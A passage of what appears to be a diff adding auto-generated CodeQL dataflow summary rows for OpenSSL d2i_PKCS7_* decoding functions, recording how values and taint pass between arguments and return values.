"d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENVELOPE", "(PKCS7_ENVELOPE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ISSUER_AND_SERIAL", "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_RECIP_INFO", "(PKCS7_RECIP_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNED", "(PKCS7_SIGNED **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", "(PKCS7_SIGNER_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_SIGNER_INFO", 